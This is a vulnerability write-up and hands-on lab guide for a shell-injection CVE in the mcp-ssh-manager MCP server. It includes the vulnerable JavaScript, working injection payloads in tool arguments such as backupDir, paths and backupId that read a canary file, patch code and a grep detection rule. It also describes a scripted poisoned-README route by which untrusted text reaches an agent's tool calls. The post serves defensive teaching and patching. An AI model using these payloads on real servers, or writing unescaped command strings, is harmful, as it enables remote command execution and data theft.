Lab in this post. A Docker lab on 127.0.0.1 runs the real npm package mcp-ssh-manager at three exact versions (3.8.0, 3.8.5, 3.8.7) against a throw-away OpenSSH container with a fake canary file. A small dark web UI acts as an MCP client, so you call the ssh_backup_* tools from your browser, inject a command through one argument and watch it run on the SSH host, then see 3.8.5 block most of it and still miss three tools. No LLM, no API key, fake data only, for authorized local practice.

What an MCP tool call really is

An MCP server exposes tools to an AI client. The client sends a JSON-RPC tools/call request with a tool name and an arguments object, and the server does the work. The MCP specification calls tools "model-controlled": the model decides what goes into the arguments.

mcp-ssh-manager lets an agent run commands, move files and manage backups on servers over SSH. The SSH exec request carries one string that the remote login shell parses, so every tool argument that lands inside that string is shell syntax unless the code stops it. A JSON front door on a shell is still a shell.

This differs from the unauthenticated MCP route we pentested earlier: here the caller may use the tool and the arguments are the weapon. How hostile text reaches arguments is covered in prompt injection against AI agents in CI/CD. This post stays on the sink.

The advisory

GHSA-qwwm-vrm9-4mw8 (CVE-2026-129995) is CWE-78 with CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N). It affects npm mcp-ssh-manager before 3.8.5, was patched in 3.8.5 and was reported by Woojisoo0425. I read the GitHub and GitLab pages. They say src/backup-manager.js builds shell strings for the ssh_backup_* tools by concatenating caller-controlled arguments with no escaping, so metacharacters run commands as the configured SSH user on every managed server. None of the sources I read reports exploitation.

The vulnerable code

Everything here comes from the 3.8.0 tarball I downloaded from the npm registry and read. The builders glue arguments into strings:

// src/backup-manager.js (3.8.0)
export function buildListBackupsCommand(backupDir = DEFAULT_BACKUP_DIR, type = null) {
  let command = `find "${backupDir}" -name "*.meta.json" -type f`;
  if (type) command += ` | grep "${type}_"`;
  command += ' | while read -r file; do cat "$file"; echo "---"; done';
  return command;
}

// buildFilesBackupCommand: paths and exclude patterns, same pattern
command += ` --exclude="${pattern}"`;
command += ` ${paths.map(p => `"${p}"`).join(' ')}`;

Double quotes protect nothing: a " closes the quote, and $(...) or backticks run even inside quotes. The tool schema only says z.string(). The real tool and argument names, read from the zod schemas in src/index.js, include ssh_backup_create (type, name, database, dbHost, paths, exclude, backupDir), ssh_backup_list (type, backupDir), ssh_backup_restore (backupId, targetPath) and ssh_backup_schedule (schedule, name, paths).

The handlers build strings of their own too. This line sits in the ssh_backup_create handler, outside backup-manager.js. Keep it in mind:

// src/index.js (3.8.0, and, as I verified, 3.8.5)
const mkdirResult = await ssh.execCommand(`mkdir -p "${backupDirectory}"`);

The incomplete first fix

The same bug class was fixed before. CVE-2026-77383 (GHSA-4jx9-2fwj-pg4j, fixed in 3.6.7) covered the ssh_db_* helpers in src/database-manager.js. The 3.6.7 changelog says the 3.6.5 fix before it had hardened only the query text of ssh_db_query. Each patch fixed the file named in the report (the rows come from the 3.6.7 and 3.8.5 changelog entries in the 3.8.7 tarball and from the GHSA-4jx9 page):

Release Fixed (per changelog) Still open
3.6.5 ssh_db_query query text list, dump, import, restore builders
3.6.7 all 15 builders in database-manager.js backup-manager.js, health-monitor.js, inline commands in index.js
3.8.5 backup-manager.js, health monitor, some inline commands the mkdir -p, cat and script-path commands in index.js (verified below)
3.8.7 those inline commands, plus a plain-file-name rule for backupId and name nothing, for the nine payloads in this lab

The comment in the new src/shell-quote.js states the cause: the helper lived in database-manager.js, "and that is exactly why the same class of bug survived elsewhere". A safe helper in one module protects only the callers that import it. I proved it by running code, not by trusting prose: I imported the real builders from the 3.8.0 and 3.8.5 tarballs and ran each generated string through /bin/sh with a marker file as canary:

=== mcp-ssh-manager 3.8.0 ===
EXECUTED  backup-manager   buildListBackupsCommand(backupDir)
EXECUTED  backup-manager   buildFilesBackupCommand(paths)
EXECUTED  backup-manager   buildMySQLDumpCommand(database)
blocked   database-manager buildMySQLDumpCommand(database)
blocked   database-manager buildMySQLListTablesCommand(database, $())
=== mcp-ssh-manager 3.8.5 ===  (all nine cases blocked)

Same payload shapes, same shell: the module that imported shellQuote is safe and its sibling is not.

Lab setup: the mcp-ssh-manager injection lab

Hands-on lab
Mcp-ssh-manager injection lab
A self-contained practice lab that runs only on your own machine. Attack it, fix it, and prove each fix works.
Download the lab (zip) Sign in to downloadmcp-ssh-manager-shell-injection-lab.zip · 117 KB
Requirements
Docker with the compose plugin, internet access for the first build, port 8480 free on 127.0.0.1, and bash plus curl for the terminal option.
SHA-256
b079efd7805dcc1ba070b45682b24eb0e74a527f0f3a4e8ab76d6125c0eb3096
How to check the file is genuine
Run the command for your system in the folder you downloaded to. The output must match the SHA-256 above exactly; if it does not, delete the file and download it again.
Linuxsha256sum mcp-ssh-manager-shell-injection-lab.zip
macOSshasum -a 256 mcp-ssh-manager-shell-injection-lab.zip
WindowsGet-FileHash mcp-ssh-manager-shell-injection-lab.zip
How to run it, what is inside and how to clean up are in the lab reference at the end.

Two containers, one published port. sshhost is a Debian OpenSSH server with an account labuser, a fake canary /srv/secret.txt and fake data to back up. ui runs a Node backend that starts the real mcp-ssh-manager over stdio for each call, does the MCP handshake with the official SDK client, and serves the browser UI. Versions are pinned in package-lock.json through npm aliases. A fourth entry, 3.8.0 + my patch, is the real 3.8.0 with your edited files copied over src/.

# docker-compose.yml (excerpt): the only published port is on 127.0.0.1
services:
  sshhost:
    build: ./sshhost          # no ports: only the UI container reaches SSH
  ui:
    build: ./ui
    ports: ["127.0.0.1:8480:8480"]
    volumes: ["./patch:/patch:ro"]

One lab-only addition: an sshd ForceCommand shim logs the command string sshd receives, then runs it as sshd would anyway. The UI shows that log, the defender’s view of the attack. Run steps are in the last section.

Exploiting it

Mission 1: a benign backup call

Open http://127.0.0.1:8480, keep version 3.8.0, pick the preset M1 ssh_backup_create (files) and press Run. The client sends this request.

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"ssh_backup_create",
 "arguments":{"server":"labhost","type":"files","name":"demo","paths":["/srv/app-data"]}}}

Mission 1: a benign ssh_backup_create call on 3.8.0, with the shell commands sshd received

The host panel lists what sshd received: mkdir -p, tar -czf, stat, echo ... > meta.json and find ... -delete, each built from your arguments.

Option 2: from the terminal.

scripts/call.sh 3.8.0 ssh_backup_create '{"server":"labhost","type":"files","name":"demo","paths":["/srv/app-data"]}'
scripts/host.sh   # the commands sshd received

Mission 2: an injected argument runs a command on the host

Choose M2 ssh_backup_list · backupDir and press Run. The payload closes the quote, copies the canary into a marker file, and reopens a quote so the rest of the command still parses:

backupDir = /var/backups/ssh-manager"; cat /srv/secret.txt > /tmp/proof/<marker>; echo "

Mission 2: the injected command ran on 3.8.0 and copied the canary

The tool answers with a normal empty list, so nothing looks wrong in the response. The host panel shows a find followed by ; cat /srv/secret.txt > ..., and the marker file holds the fake secret. paths[0], exclude[0] and the MySQL database argument of ssh_backup_create behave the same way.

Option 2: from the terminal. In call.sh, {{M}} becomes /tmp/proof/<marker>, and the script reports whether that file appeared:

scripts/call.sh 3.8.0 ssh_backup_list '{"server":"labhost","backupDir":"/var/backups/ssh-manager\"; cat /srv/secret.txt > {{M}}; echo \""}' m2-list

The advisory adds that ssh_backup_list skips the policy check. In readonly mode on 3.8.0, ssh_backup_create is refused ("disabled on server … mode: readonly") while the injected ssh_backup_list still runs.

Readonly mode on 3.8.0: the injected ssh_backup_list still executes

Mission 3: the same trick against the earlier-fixed database tool

Pick M3 ssh_db_dump · database with the same kind of payload. No banner, no marker file.

Mission 3: ssh_db_dump on 3.8.0 passes the payload to the shell as one quoted word

The host panel shows why: the text arrives inside single quotes, as the literal database name 'appdb; cat /srv/secret.txt > ... #', and the shell never sees a ;. That is the sibling-sink proof. On the same 3.8.0 release one module learned the lesson in 3.6.7 and the other had not. The lab host has no mysqldump, so the dump is empty. The point is what the shell did with the string.

One caveat: the line stat -f%z "/tmp/lab-dump.sql.gz" in that host panel is the handler’s own stat "${outputFile}" in src/index.js. On 3.8.0 it put outputFile between double quotes without escaping, so ssh_db_dump had a leftover sink of its own (GHSA-796j-h5q5-jx6p, fixed in 3.8.5 per the changelog; I read the code and did not run an injected outputFile). That is a second example of the same pattern. I tested the database argument because it is the one the 3.6.7 fix covered.

Option 2: from the terminal.

scripts/call.sh 3.8.0 ssh_db_dump '{"server":"labhost","type":"mysql","database":"appdb; cat /srv/secret.txt > {{M}} #","outputFile":"/tmp/lab-dump.sql.gz"}' m3-dbdump

Mission 4: swap to 3.8.5 and repeat

Click 3.8.5 and rerun the M2 presets. All blocked: the host log shows single-quoted words as in Mission 3.

Now run M4 ssh_backup_create · backupDir (mkdir -p) on 3.8.5. The advisory’s remediation list names this inline mkdir -p. It still executes.

Mission 4: on 3.8.5 the mkdir -p sink in index.js still runs the injected command

Option 2: from the terminal.

scripts/call.sh 3.8.5 ssh_backup_create '{"server":"labhost","type":"files","name":"demo","paths":["/srv/app-data"],"backupDir":"/tmp/lab-bk-$(cat /srv/secret.txt > {{M}})"}' m4-mkdir

The command substitution runs inside the double quotes of the inline mkdir -p. ssh_backup_restore (backupId, in cat "${metadataPath}") and ssh_backup_schedule (name, in the script path) also execute on 3.8.5. On 3.8.7 all three are blocked. The 3.8.7 changelog agrees: ssh_backup_create‘s mkdir -p "…" had the same flaw with backupDir, "the half of GHSA-qwwm-vrm9-4mw8 the earlier fix missed". I could not open the separate advisory the changelog cites for these cases (GHSA-2wjh-xm9c-7qf9 returned 404), so I rely on the changelog and my own test. The same call on 3.8.7 is blocked in the UI.

Option 2 from the terminal, rendered from the real call.sh output with long arguments shortened: 3.8.0, 3.8.5 and 3.8.7

Optional: the poisoned README (a scripted illustration)

No model is involved, so this shows a path, not a model’s behavior. scripts/poisoned-readme.sh plays a stand-in agent: it copies the text between <backupDir> tags in an untrusted README into ssh_backup_list. The marker appears on 3.8.0 and not on 3.8.7. Whether a real model would copy such text is untested here.

Fixing it

Quote every word, in one shared helper

3.8.5 moved shellQuote() into src/shell-quote.js and applied it across backup-manager.js. It is POSIX single-quoting: wrap the value in '...' and turn each ' into '\''. Inside single quotes the shell reads $, backticks, ;, | and spaces as plain characters. The function below is the one in the 3.8.5 and 3.8.7 tarballs, condensed (comments removed). The cmd line is my illustration of the pattern, not tarball code.

const SQ = '\'';
export const shellQuote = (v) =>
  v == null ? SQ + SQ : SQ + String(v).replace(/'/g, SQ + '\\' + SQ + SQ) + SQ;

// build the command from a list of words, never from one interpolated string
const cmd = ['tar', '-czf', outputFile, ...paths].map(shellQuote).join(' ');

The SSH exec request carries one string, not an argv array, so "use argv" here means building it from separately quoted words. A fixed helper script on the remote side that reads its arguments from stdin is stronger still.

Validate first, then quote

3.8.7 adds checks that make quoting belt-and-braces: the 3.8.7 changelog says a backup ID must be a plain file name, and the ssh_backup_schedule handler validates name and schedule before anything reaches the server. CWE-78 mitigations recommend structured or properly quoted commands, with input validation and allow-lists on top. The snippet below is the lab’s reference patch, modelled on that idea. It is simpler than the 3.8.7 check, which also requires a leading letter or digit and at most 64 characters.

if (!/^[A-Za-z0-9._-]+$/.test(name)) {
  throw new Error('Backup name may only contain letters, digits, ".", "_" and "-"');
}

Mission 5: write your own patch and re-test

Choose 3.8.0 + my patch. Edit patch/backup-manager.js on your machine so every interpolated value goes through a quoting helper, then open the Payload matrix and run it. The last column fills in as you work.

Mission 5: only backup-manager.js patched. The three inline index.js sinks still execute

The builder rows turn blocked and three rows stay orange. They live in patch/index.js, which is where you fix them. That is the whole CVE in one table. A reference patch is in patch/solution/.

Option 2: from the terminal.

scripts/call.sh mine ssh_backup_list '{"server":"labhost","backupDir":"/var/backups/ssh-manager\"; cat /srv/secret.txt > {{M}}; echo \""}' m5-list
scripts/matrix.sh   # all payloads, all versions, including the `mine` column

Re-testing the fixes

I ran the full matrix from a fresh unzip of the lab zip. Every cell is a real tools/call followed by a check for the marker file on the host. The result: 3.8.0 executes 7 of 9 payloads, 3.8.5 executes 3, 3.8.7 executes 0, and the patched column executes 0 once both files are fixed.

The payload matrix before any patch: 3.8.0 executes seven of nine payloads, 3.8.5 three, 3.8.7 none

The payload matrix after quoting both files in the patched column

Vulnerable vs. fixed

Payload 3.8.0 3.8.5 3.8.7 Both files patched
ssh_backup_list · backupDir EXECUTED blocked blocked blocked
ssh_backup_create · paths, exclude, database EXECUTED blocked blocked blocked
ssh_backup_create · backupDir (mkdir -p) EXECUTED EXECUTED blocked blocked
ssh_backup_restore · backupId EXECUTED EXECUTED blocked blocked
ssh_backup_schedule · name EXECUTED EXECUTED blocked blocked
ssh_db_dump, ssh_db_list · database blocked blocked blocked blocked

3.8.5 closes the builders the advisory names and leaves three inline handler commands. The advisory’s policy-check item for ssh_backup_list is not in the 3.8.5 handler I read. I did not test 4.x.

Real-world impact

Whoever controls the arguments gets command execution as the SSH account on every server the MCP instance manages. Two realistic sources of hostile arguments are a malicious or compromised MCP client, and an agent that read untrusted text and passed part of it on. I verified that a server set to readonly still ran the injected ssh_backup_list on 3.8.0.

Not verified: none of the sources I read reports exploitation in the wild. I did not reproduce the cron foothold the advisory describes for ssh_backup_schedule (the lab host has no crontab), and I tested no language model.

Detecting and hardening

The injection shows on the SSH host as odd command strings from the MCP account. Log every exec command (the lab uses a ForceCommand shim, production can use auditd execve rules for that user) and hunt for substitutions and redirects the tool never generates itself:

# commands containing a substitution, or a redirect into /tmp
grep -E '\$\(|`|> */tmp/' /var/log/lab/ssh-commands.log

On this lab’s log that flagged the three attack lines and none of the six benign ones. It is a toy heuristic and easy to evade, for example with ; id and no redirect, and the /tmp/ pattern only matches this lab’s marker path. A real deployment needs rules for paths the tool never touches normally, such as reads of credential files and writes outside the backup directory.

Key takeaways

Lab reference: files, run steps and clean-up

mcp-ssh-manager-shell-injection/
  docker-compose.yml   run.sh run.ps1   stop.sh stop.ps1
  sshhost/   Dockerfile, sshd config, audit shim (logs the commands sshd receives)
  ui/        server.js (MCP client), payloads.js, public/ (the web UI), package-lock.json (exact pins)
  patch/     3.8.0 backup-manager.js and index.js to edit, solution/ reference patch
  scripts/   call.sh host.sh reset.sh matrix.sh poisoned-readme.sh
  README.md
unzip mcp-ssh-manager-shell-injection-lab.zip
cd mcp-ssh-manager-shell-injection
./run.sh                      # Windows: .\run.ps1
# open http://127.0.0.1:8480   (UI first; scripts/ for the terminal)
scripts/matrix.sh             # optional: the whole payload matrix in the terminal
./stop.sh                     # stop and remove containers, network and built images

Expect Lab is up: http://127.0.0.1:8480 when it is ready (the first build takes a few minutes). The matrix should show 3.8.0 executing seven of nine payloads, 3.8.5 three and 3.8.7 none. The lab listens on 127.0.0.1 only and uses fake data. Run it only on your own machine.

References